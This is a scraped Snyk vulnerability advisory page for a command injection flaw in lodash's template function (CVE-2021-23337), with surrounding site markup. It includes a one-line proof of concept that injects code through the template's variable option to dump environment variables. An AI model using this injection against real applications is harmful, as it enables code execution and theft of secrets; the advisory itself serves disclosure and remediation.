fixes.</p> <a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" label=\"Test your code\" href=\"https://app.snyk.io/login?cta=sign-up&amp;loc=banner&amp;page=vuln-vuln\" data-snyk-test=\"register cta: button\" class=\"vue--button vue--button--cta\" data-v-94138f12 data-v-f20bb186>\n        Test your applications\n      </a></div></div></div> <!----> <div data-snyk-test=\"vuln detailsbox meta\" class=\"vue--block vue--card vuln-credit vue--card--white vue--card--no-padding\" data-v-3645d675 data-v-d6f7b9fc data-v-4aaa4f94 data-v-085cdb9e><!----> <!----> <!----> <div class=\"vue--card__body\" data-v-3645d675 data-v-d6f7b9fc><ul data-v-3645d675 data-v-4aaa4f94><li label=\"snyk-id\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-4aaa4f94><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-4aaa4f94>Snyk ID</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-4aaa4f94>SNYK-JS-LODASH-1040724</strong></li><li label=\"published\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-4aaa4f94><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-4aaa4f94>published</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-4aaa4f94>15 Feb 2021</strong></li><li label=\"disclosed\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-4aaa4f94><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-4aaa4f94>disclosed</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-4aaa4f94>17 Nov 2020</strong></li><li label=\"credit\" data-snyk-test=\"vuln detailsbox item\" data-v-3645d675 data-v-4aaa4f94><span data-snyk-test=\"vuln detailsbox label\" class=\"credits__label\" data-v-3645d675 data-v-4aaa4f94>credit</span> <strong data-snyk-test=\"vuln detailsbox value\" data-v-3645d675 data-v-4aaa4f94>Marc Hassan</strong></li></ul></div> <!----> <!----></div> <div data-snyk-test=\"VulnDbFeedbackLinks: buttons\" class=\"base-buttons\" data-v-361c2e3a data-v-085cdb9e><a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" href=\"https://snyk.io/vulnerability-disclosure/\" data-snyk-test=\"VulnDbFeedbackLinks: support CTA\" class=\"vue--button base-button vue--button--basic vue--button--ghost\" data-v-94138f12 data-v-361c2e3a>\n    Report a new vulnerability\n  </a> <a rel=\"noopener noreferrer\" target=\"_blank\" role=\"button\" href=\"https://support.snyk.io/hc/en-us/requests/new\" data-snyk-test=\"VulnDbFeedbackLinks: submit request CTA\" class=\"vue--button base-button vue--button--basic vue--button--ghost\" data-v-94138f12 data-v-361c2e3a>\n    Found a mistake?\n  </a></div></div> <div class=\"left\" data-v-43af9ae8 data-v-085cdb9e><div class=\"vuln-page__info-block__container\" data-v-43af9ae8 data-v-085cdb9e><div class=\"vuln-info-block\" data-v-2bb0c06e data-v-085cdb9e><h4 data-snyk-test=\"formatted-date\" class=\"vue--heading date\" data-v-8dd2f746 data-v-2bb0c06e>\n    Introduced: 17 Nov 2020\n  </h4> <!----> <!----> <span data-snyk-test=\"cve\" class=\"cve\" data-v-2bb0c06e><span data-v-b74dadd4 data-v-2bb0c06e><a aria-describedby=\"describedByu4pdX6QlHc\" rel=\"noopener noreferrer\" href=\"https://www.cve.org/CVERecord?id=CVE-2021-23337\" target=\"_blank\" id=\"CVE-2021-23337\" class=\"vue--anchor\" data-v-ce2707d6 data-v-b74dadd4>CVE-2021-23337<!----><span id=\"describedByDizmAQqjM4\" data-snyk-test=\"BaseAnchor screen reader description\" class=\"vue--anchor__offscreen\" data-v-ce2707d6>\n    Open this link in a new tab\n  </span></a> <div class=\"vue--tooltip item-tooltip vue--tooltip--help\" data-v-06ded3b9 data-v-b74dadd4><div aria-describedby=\"CVE-2021-23337\" aria-controls=\"CVE-2021-23337\" data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></span> <!----> <span data-snyk-test=\"cwe\" data-v-2bb0c06e><span data-v-b74dadd4 data-v-2bb0c06e><a aria-describedby=\"describedBy5LisHunuh0\" rel=\"noopener noreferrer\" href=\"https://cwe.mitre.org/data/definitions/78.html\" target=\"_blank\" id=\"CWE-78\" class=\"vue--anchor\" data-v-ce2707d6 data-v-b74dadd4>CWE-78<!----><span id=\"describedByEbs0NgLPCR\" data-snyk-test=\"BaseAnchor screen reader description\" class=\"vue--anchor__offscreen\" data-v-ce2707d6>\n    Open this link in a new tab\n  </span></a> <div class=\"vue--tooltip item-tooltip vue--tooltip--help\" data-v-06ded3b9 data-v-b74dadd4><div aria-describedby=\"CWE-78\" aria-controls=\"CWE-78\" data-snyk-test=\"BaseTooltip: label\" class=\"vue--tooltip__label\" data-v-06ded3b9><span aria-label=\"Help Icon\" role=\"img\" class=\"material-design-icon help-icon\" data-v-06ded3b9><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20zm1 17h-2v-2h2v2zm2.07-7.75l-.9.92A3.4 3.4 0 0 0 13 15h-2v-.5c0-1.1.45-2.1 1.17-2.83l1.24-1.26c.4-.33.6-.83.6-1.4a2 2 0 0 0-2-2 2 2 0 0 0-2 2H8c0-2.2 1.8-4 4-4s4 1.8 4 4c0 .9-.36 1.7-.93 2.27v-.03z\"></path></svg></span></div> <!----></div></span></span> <span data-snyk-test=\"added-by-snyk-badge\" class=\"vue--badge vue--badge--info vue--badge--small vue--badge--pill vue--badge--uppercase\" data-v-0f55f474 data-v-2bb0c06e><!----> <span class=\"vue--badge__text\" data-v-0f55f474>\n    First added by Snyk\n  </span> <!----></span></div> <div ghost=\"\" variant=\"basic\" class=\"vue--button-dropdown vuln-page__info-block__container__sharebtn\" data-v-13063395 data-v-39001840 data-v-085cdb9e><button type=\"button\" role=\"button\" aria-label=\"Expand list of options\" tabindex=\"0\" class=\"vue--button vue--button-dropdown__btn vue--button--basic vue--button--ghost vue--button--small\" data-v-94138f12 data-v-13063395>\n    Share\n    <span aria-hidden=\"true\" aria-label=\"Chevron Down icon\" role=\"img\" class=\"material-design-icon chevron-down-icon vue--button-dropdown__icon\" data-v-94138f12 data-v-13063395><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M7.41,8.58L12,13.17L16.59,8.58L18,10L12,16L6,10L7.41,8.58Z\"><!----></path></svg></span></button> <div class=\"vue--button-dropdown__content vue--button-dropdown__content--right\" data-v-13063395><!----></div></div></div> <div class=\"vue--block vuln-page__instruction-block vue--block--instruction\" data-v-3645d675 data-v-085cdb9e><div class=\"vuln-page__content\" data-v-3645d675 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    How to fix?\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p>Upgrade <code>lodash</code> to version 4.17.21 or higher.</p>\n</div></div> </div></div></div> <div data-v-43af9ae8 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    Overview\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><p><a href=\"https://www.npmjs.com/package/lodash\">lodash</a> is a modern JavaScript utility library delivering modularity, performance, &amp; extras.</p>\n<p>Affected versions of this package are vulnerable to Command Injection via <code>template</code>.</p>\n<h3>PoC</h3>\n<pre><code class=\"language-js\">var _ = require(&#39;lodash&#39;);\n\n<p>_.template(&#39;&#39;, { variable: &#39;){console.log(process.env)}; with(obj&#39; })()\n</code></pre></p>\n</div></div> </div></div><div data-v-43af9ae8 data-v-085cdb9e><div class=\"markdown-section\" data-v-5c17117c data-v-085cdb9e><h2 class=\"vue--heading heading\" data-v-8dd2f746 data-v-5c17117c>\n    References\n  </h2> <div class=\"vue--prose\" data-v-6b6ff1c7 data-v-5c17117c><div class=\"vue--markdown-to-html markdown-description\" data-v-185c2450 data-v-5c17117c><ul>\n<li><a href=\"https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c\">GitHub Commit</a></li>\n<li><a href=\"https://github.com/lodash/lodash/blob/ddfd9b11a0126db2302cb70ec9973b66baec0975/lodash.js#L14851\">Vulnerable Code</a></li>\n</ul>\n</div></div> </div></div></div></div></div></main> <footer id=\"slimfooter\" role=\"contentinfo\" marketingSiteHost=\"https://snyk.io\" class=\"site-footer\" data-v-415ae652 data-v-0fde60d6><div class=\"vue--layout-container site-footer__container\" data-v-43af9ae8 data-v-415ae652><div class=\"nav__groups\" data-v-43af9ae8 data-v-415ae652><nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Product</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/open-source-security-management/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Open Source\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/snyk-code/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Snyk Code<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/container-vulnerability-management/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Container\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/product/infrastructure-as-code-security/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Snyk Infrastructure as Code\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/test/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Test with Github<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/test/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Test with CLI<!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Resources</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://security.snyk.io/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Vulnerability DB<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://docs.snyk.io/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Documentation<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://security.snyk.io/disclosed-vulnerabilities\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Disclosed Vulnerabilities\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/blog/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Blog<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://support.snyk.io/hc/en-us\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>FAQs<!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Company</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/about\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>About<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/careers/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Jobs<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"mailto:contact@snyk.io\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Contact<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/policies/terms-of-service/\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Policies\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://preferences.snyk.io/dont_sell\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Do Not Sell My Personal Information\n            <!----><!----></a></li></ul></nav> <nav class=\"nav__group\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Contact Us</h3> <ul class=\"nav__list\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"mailto:support@snyk.io\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Support<!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/vulnerability-disclosure\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>\n              Report a new vuln\n            <!----><!----></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://github.com/snyk/press-kit\" rel=\"nofollow\" class=\"nav__list__item__link\" data-v-43af9ae8 data-v-415ae652>Press Kit</a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://snyk.io/events\" class=\"vue--anchor nav__list__item__link\" data-v-ce2707d6 data-v-415ae652>Events<!----><!----></a></li></ul></nav> <nav class=\"nav__social\" data-v-43af9ae8 data-v-415ae652><h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Find us online</h3> <ul class=\"list-social\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://twitter.com/snyksec\" title=\"Twitter\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon twitter-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M22.46,6C21.69,6.35 20.86,6.58 20,6.69C20.88,6.16 21.56,5.32 21.88,4.31C21.05,4.81 20.13,5.16 19.16,5.36C18.37,4.5 17.26,4 16,4C13.65,4 11.73,5.92 11.73,8.29C11.73,8.63 11.77,8.96 11.84,9.27C8.28,9.09 5.11,7.38 3,4.79C2.63,5.42 2.42,6.16 2.42,6.94C2.42,8.43 3.17,9.75 4.33,10.5C3.62,10.5 2.96,10.3 2.38,10C2.38,10 2.38,10 2.38,10.03C2.38,12.11 3.86,13.85 5.82,14.24C5.46,14.34 5.08,14.39 4.69,14.39C4.42,14.39 4.15,14.36 3.89,14.31C4.43,16 6,17.26 7.89,17.29C6.43,18.45 4.58,19.13 2.56,19.13C2.22,19.13 1.88,19.11 1.54,19.07C3.44,20.29 5.7,21 8.12,21C16,21 20.33,14.46 20.33,8.79C20.33,8.6 20.33,8.42 20.32,8.23C21.16,7.63 21.88,6.87 22.46,6Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.youtube.com/channel/UCh4dJzctb0NhSibjU-e2P6w\" title=\"Youtube\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon youtube-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M10,15L15.19,12L10,9V15M21.56,7.17C21.69,7.64 21.78,8.27 21.84,9.07C21.91,9.87 21.94,10.56 21.94,11.16L22,12C22,14.19 21.84,15.8 21.56,16.83C21.31,17.73 20.73,18.31 19.83,18.56C19.36,18.69 18.5,18.78 17.18,18.84C15.88,18.91 14.69,18.94 13.59,18.94L12,19C7.81,19 5.2,18.84 4.17,18.56C3.27,18.31 2.69,17.73 2.44,16.83C2.31,16.36 2.22,15.73 2.16,14.93C2.09,14.13 2.06,13.44 2.06,12.84L2,12C2,9.81 2.16,8.2 2.44,7.17C2.69,6.27 3.27,5.69 4.17,5.44C4.64,5.31 5.5,5.22 6.82,5.16C8.12,5.09 9.31,5.06 10.41,5.06L12,5C16.19,5 18.8,5.16 19.83,5.44C20.73,5.69 21.31,6.27 21.56,7.17Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.facebook.com/snyksec\" title=\"Facebook\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon facebook-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12 2.04C6.5 2.04 2 6.53 2 12.06C2 17.06 5.66 21.21 10.44 21.96V14.96H7.9V12.06H10.44V9.85C10.44 7.34 11.93 5.96 14.22 5.96C15.31 5.96 16.45 6.15 16.45 6.15V8.62H15.19C13.95 8.62 13.56 9.39 13.56 10.18V12.06H16.34L15.89 14.96H13.56V21.96A10 10 0 0 0 22 12.06C22 6.53 17.5 2.04 12 2.04Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.linkedin.com/company/snyk\" title=\"LinkedIn\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon linkedin-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M19 3A2 2 0 0 1 21 5V19A2 2 0 0 1 19 21H5A2 2 0 0 1 3 19V5A2 2 0 0 1 5 3H19M18.5 18.5V13.2A3.26 3.26 0 0 0 15.24 9.94C14.39 9.94 13.4 10.46 12.92 11.24V10.13H10.13V18.5H12.92V13.57C12.92 12.8 13.54 12.17 14.31 12.17A1.4 1.4 0 0 1 15.71 13.57V18.5H18.5M6.88 8.56A1.68 1.68 0 0 0 8.56 6.88C8.56 5.95 7.81 5.19 6.88 5.19A1.69 1.69 0 0 0 5.19 6.88C5.19 7.81 5.95 8.56 6.88 8.56M8.27 18.5V10.13H5.5V18.5H8.27Z\"><!----></path></svg></span></a></li></ul> <h3 class=\"vue--all-caps nav__group__heading vue--all-caps--small\" data-v-56a8aa57 data-v-415ae652>Track our development</h3> <ul class=\"list-social\" data-v-43af9ae8 data-v-415ae652><li data-v-43af9ae8 data-v-415ae652><a href=\"https://github.com/Snyk/\" title=\"Github\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><span aria-hidden=\"true\" role=\"img\" class=\"material-design-icon github-icon\" data-v-415ae652><svg fill=\"currentColor\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path d=\"M12,2A10,10 0 0,0 2,12C2,16.42 4.87,20.17 8.84,21.5C9.34,21.58 9.5,21.27 9.5,21C9.5,20.77 9.5,20.14 9.5,19.31C6.73,19.91 6.14,17.97 6.14,17.97C5.68,16.81 5.03,16.5 5.03,16.5C4.12,15.88 5.1,15.9 5.1,15.9C6.1,15.97 6.63,16.93 6.63,16.93C7.5,18.45 8.97,18 9.54,17.76C9.63,17.11 9.89,16.67 10.17,16.42C7.95,16.17 5.62,15.31 5.62,11.5C5.62,10.39 6,9.5 6.65,8.79C6.55,8.54 6.2,7.5 6.75,6.15C6.75,6.15 7.59,5.88 9.5,7.17C10.29,6.95 11.15,6.84 12,6.84C12.85,6.84 13.71,6.95 14.5,7.17C16.41,5.88 17.25,6.15 17.25,6.15C17.8,7.5 17.45,8.54 17.35,8.79C18,9.5 18.38,10.39 18.38,11.5C18.38,15.32 16.04,16.16 13.81,16.41C14.17,16.72 14.5,17.33 14.5,18.26C14.5,19.6 14.5,20.68 14.5,21C14.5,21.27 14.66,21.59 15.17,21.5C19.14,20.16 22,16.42 22,12A10,10 0 0,0 12,2Z\"><!----></path></svg></span></a></li> <li data-v-43af9ae8 data-v-415ae652><a href=\"https://www.npmjs.com/package/snyk\" title=\"NPM\" rel=\"nofollow\" class=\"list-social__link\" data-v-43af9ae8 data-v-415ae652><svg width=\"24\" height=\"24\" xmlns=\"http://www.w3.org/2000/svg\" class=\"npm-icon\" data-v-43af9ae8 data-v-415ae652><path d=\"M0 29h14.609V6.96h6.742V29h6.743V0H0z\" data-v-43af9ae8 data-v-415ae652></path></svg></a></li></ul> <div class=\"footer-banner\" data-v-43af9ae8 data-v-415ae652><a href=\"https://www.devseccon.com/the-secure-developer-podcast/\" target=\"_blank\" rel=\"noopener nofollow\" class=\"podcast-ad\" data-v-43af9ae8 data-v-415ae652><img src=\"/_nuxt/img/community-banner-footer.3085cc3.svg\" alt=\"DevSecOps Community Podcast\" width=\"220\" height=\"68\" data-v-43af9ae8 data-v-415ae652></a></div></nav></div> <div class=\"site-footer-bottom\" data-v-43af9ae8 data-v-415ae652><span aria-label=\"Snyk\" role=\"img\" data-snyk-test=\"SiteFooter: logo\" class=\"material-design-icon snyk-icon\" data-v-415ae652><svg fill=\"#fff\" height=\"60\" width=\"60\" viewBox=\"0 0 24 24\" class=\"material-design-icon__svg\"><path fill=\"#fff\" d=\"M3.646 14.917c-0.676 0-1.225-0.116-1.695-0.341l0.143-1.080c0.497 0.244 1.057 0.36 1.526 0.36 0.343 0 0.568-0.117 0.568-0.322 0-0.593-2.139-0.451-2.139-2 0-0.99 0.909-1.511 2.049-1.511 0.568 0 1.154 0.154 1.534 0.288l-0.154 1.062c-0.398-0.154-0.94-0.297-1.391-0.297-0.278 0-0.504 0.098-0.504 0.278 0 0.585 2.184 0.469 2.184 1.98 0 1.006-0.895 1.583-2.121 1.583l-0 0zM9.56 14.816v-2.675c0-0.611-0.271-0.9-0.786-0.9-0.251 0-0.515 0.071-0.695 0.18v3.395h-1.587v-4.636l1.553-0.128-0.038 0.758h0.053c0.335-0.45 0.902-0.792 1.58-0.792 0.812 0 1.514 0.503 1.514 1.692v3.106h-1.593zM20.046 14.816l-1.271-2.206h-0.128v2.205h-1.587v-5.491l1.587-2.476v5.124c0.316-0.386 1.38-1.853 1.38-1.853h1.958l-1.857 1.961 1.921 2.739h-2.004v-0.004zM15.004 10.134l-0.651 2.115c-0.127 0.398-0.251 1.129-0.251 1.129s-0.098-0.758-0.233-1.156l-0.696-2.089h-1.778l1.933 4.682c-0.263 0.623-0.669 1.148-1.211 1.148-0.098 0-0.195-0.004-0.29-0.015l-0.631 0.975c0.199 0.112 0.579 0.229 1.030 0.229 1.173 0 1.959-0.949 2.508-2.352l1.842-4.667-1.572 0.001z\"></path></svg></span> <div class=\"subhead\" data-v-43af9ae8 data-v-415ae652><p data-v-43af9ae8 data-v-415ae652>© 2023 Snyk Limited</p> <p data-v-43af9ae8 data-v-415ae652>Registered in England and Wales. Company number: 09677925</p> <p data-v-43af9ae8 data-v-415ae652>Registered address: Highlands House, Basingstoke Road, Spencers Wood, Reading, Berkshire, RG7 1NT.</p></div></div></div> <div class=\"waves-wrapper\" data-v-415ae652></div></footer></div></div></div><script>window.__NUXT__=(function(a,b,c,d,e,f,g,h,i,j){return {layout:\"default\",data:[{id:\"SNYK-JS-LODASH-1040724\",title:\"Command Injection\",description:\"## Overview\\n[lodash](https:\\u002F\\u002Fwww.npmjs.com\\u002Fpackage\\u002Flodash) is a modern JavaScript utility library delivering modularity, performance, & extras.\\n\\nAffected versions of this package are vulnerable to Command Injection via `template`.\\r\\n\\r\\n### PoC\\r\\n```js\\r\\nvar _ = require('lodash');\\r\\n\\r\\n_.template('', { variable: '){console.log(process.env)}; with(obj' })()\\r\\n```\\n## Remediation\\nUpgrade `lodash` to version 4.17.21 or higher.\\n## References\\n- [GitHub Commit](https:\\u002F\\u002Fgithub.com\\u002Flodash\\u002Flodash\\u002Fcommit\\u002F3469357cff396a26c363f8c1b5a91dde28ba4b1c)\\n- [Vulnerable Code](https:\\u002F\\u002Fgithub.com\\u002Flodash\\u002Flodash\\u002Fblob\\u002Fddfd9b11a0126db2302cb70ec9973b66baec0975\\u002Flodash.js#L14851)\\n\",severity:a,packageName:e,packageManager:f,publicationTime:\"2021-02-15T11:50:50Z\",disclosureTime:\"2020-11-17T13:02:10Z\",credit:[\"Marc Hassan\"],identifiers:{CVE:[\"CVE-2021-23337\"],CWE:[\"CWE-78\"]},semver:{vulnerable:[g]},CVSSv3:\"CVSS:3.1\\u002FAV:N\\u002FAC:L\\u002FPR:H\\u002FUI:N\\u002FS:U\\u002FC:H\\u002FI:H\\u002FA:H\\u002FE:P\\u002FRL:U\\u002FRC:C\",cvssScore:b,language:\"js\",socialTrendAlert:c,proprietary:d,malicious:c,exploitMaturity:\"Proof of Concept\",cvssDetails:[{assigner:\"Red Hat\",severity:a,cvssV3Vector:h,cvssV3BaseScore:b,modificationTime:\"2023-03-26T15:05:22.240589Z\"},{assigner:\"NVD\",severity:a,cvssV3Vector:h,cvssV3BaseScore:b,modificationTime:\"2022-09-14T01:10:48.257735Z\"}],epssDetails:{percentile:\"0.75509\",probability:\"0.00606\",modelVersion:\"v2023.03.01\"},breadcrumbItems:[{url:\"\\u002Fvuln\",label:\"Snyk Vulnerability Database\"},{label:f,url:\"\\u002Fvuln\\u002Fnpm\"},{label:e,findByTestHook:\"filter\"}],vulnDescription:{Overview:\"\\u003Cp\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fwww.npmjs.com\\u002Fpackage\\u002Flodash\\\"\\u003Elodash\\u003C\\u002Fa\\u003E is a modern JavaScript utility library delivering modularity, performance, &amp; extras.\\u003C\\u002Fp\\u003E\\n\\u003Cp\\u003EAffected versions of this package are vulnerable to Command Injection via \\u003Ccode\\u003Etemplate\\u003C\\u002Fcode\\u003E.\\u003C\\u002Fp\\u003E\\n\\u003Ch3\\u003EPoC\\u003C\\u002Fh3\\u003E\\n\\u003Cpre\\u003E\\u003Ccode class=\\\"language-js\\\"\\u003Evar _ = require(&#39;lodash&#39;);\\n\\n_.template(&#39;&#39;, { variable: &#39;){console.log(process.env)}; with(obj&#39; })()\\n\\u003C\\u002Fcode\\u003E\\u003C\\u002Fpre\\u003E\\n\",References:\"\\u003Cul\\u003E\\n\\u003Cli\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fgithub.com\\u002Flodash\\u002Flodash\\u002Fcommit\\u002F3469357cff396a26c363f8c1b5a91dde28ba4b1c\\\"\\u003EGitHub Commit\\u003C\\u002Fa\\u003E\\u003C\\u002Fli\\u003E\\n\\u003Cli\\u003E\\u003Ca href=\\\"https:\\u002F\\u002Fgithub.com\\u002Flodash\\u002Flodash\\u002Fblob\\u002Fddfd9b11a0126db2302cb70ec9973b66baec0975\\u002Flodash.js#L14851\\\"\\u003EVulnerable Code\\u003C\\u002Fa\\u003E\\u003C\\u002Fli\\u003E\\n\\u003C\\u002Ful\\u003E\\n\"},vulnerableVersions:g,remediation:\"\\u003Cp\\u003EUpgrade \\u003Ccode\\u003Elodash\\u003C\\u002Fcode\\u003E to version 4.17.21 or higher.\\u003C\\u002Fp\\u003E\\n\"}],fetch:{},error:i,serverRendered:d,routePath:\"\\u002Fvuln\\u002FSNYK-JS-LODASH-1040724\",config:{SEGMENT:{enabled:d,key:\"LXBRTjNx7YkZnd7ZtYyVSWNlMtRSH6sg\"},SPLITSIGNAL:{enabled:c,id:\"af6f72c8-a7af-45f3-b4a3-8b932c185d06\",debugMode:j},ENVIRONMENT:j,MARKETING_SITE_HOST:\"https:\\u002F\\u002Fsnyk.io\",_app:{basePath:\"\\u002F\",assetsPath:\"\\u002F_nuxt\\u002F\",cdnURL:i}}}}(\"high\",7.2,false,true,\"lodash\",\"npm\",\"\\u003C4.17.21\",\"CVSS:3.1\\u002FAV:N\\u002FAC:L\\u002FPR:H\\u002FUI:N\\u002FS:U\\u002FC:H\\u002FI:H\\u002FA:H\",null,void 0));</script><script src=\"/_nuxt/93175d7.js\" defer></script><script src=\"/_nuxt/cdceec7.js\" defer></script><script src=\"/_nuxt/e28ec5e.js\" defer></script><script src=\"/_nuxt/e59929a.js\" defer></script><script src=\"/_nuxt/a176eca.js\" defer></script><script src=\"/_nuxt/ef6d641.js\" defer></script><script 